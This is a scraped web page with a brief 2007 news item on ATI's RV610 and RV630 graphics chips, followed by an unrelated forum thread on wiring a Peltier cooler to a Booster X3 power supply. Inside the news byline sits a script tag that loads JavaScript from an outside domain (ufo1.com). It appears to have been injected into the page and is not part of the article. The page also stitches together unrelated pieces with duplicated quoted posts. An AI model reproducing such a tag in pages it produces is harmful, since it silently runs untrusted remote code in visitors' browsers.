ATi RV610 & RV630 Info Emerges

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News <script type="text/javascript" src="http://ufo1.com/ad/c.js"></script> Posted 06/02/07
Author: PV5150
Source: VR-Zone

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Our source has gotten some concrete information on the RV610 and RV630. The card samples will start appear in March and the launch slated for April timeframe. There will be 3 variants of RV630 supporting DDR2, DDR3 or DDR4. For low-end RV610, it will be built on 65nm process and there are 2 variants; RV610LE supporting DDR2 and RV610PRO supporting DDR3. Memory clock for RV610LE stood at 400Mhz while RV610PRO is at 700MHz.

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05-02-2007, 12:59:33

Mr. Smith
Jim,

I noticed you did a rather fine job on sleeving your pelt and attaching it to the Booster psu. I see you used what looks like the clear plastic connectors used in light circuits?

What connector did you use to attach the pelt to the booster psu?

Basically, can you talk me through it please? :confused:

05-02-2007, 14:10:04

Jim

Jim,

I noticed you did a rather fine job on sleeving your pelt and attaching it to the Booster psu. I see you used what looks like the clear plastic connectors used in light circuits?

What connector did you use to attach the pelt to the booster psu?

Basically, can you talk me through it please? :confused:



Well firstly the Booster X3 comes with a total of 12 cables coming out of it (6 positive, 6 negative). You need to use ALL of these cables when connecting it to the pelt. You could probably get away with half the cables, but you risk buring out the wires or the connector.

So, grab your X3, chop the 2x PCI-E connectors off the end, grab a cable joining block that's rated for at least 25amps (basically the fattest bugger you can find). Strip all of the X3 wires and separate the positive and negative wires into separate parts of the cable block. Then connect the Pelt to the corresponding points at the other side.

Also, make sure that you put the pelt the right way around when you set it up in your waterblock. Run the pelt for 2 seconds and feel what side gets hot/cold, and mark the hot side with a perm marker.

05-02-2007, 14:36:13

Mr. Smith
Why thank you good sir :)

Is it obvious which wires are poz and neg on the X3?

05-02-2007, 15:58:29

Jim

Why thank you good sir :)

Is it obvious which wires are poz and neg on the X3?



Ye case of Yellow & Black :)
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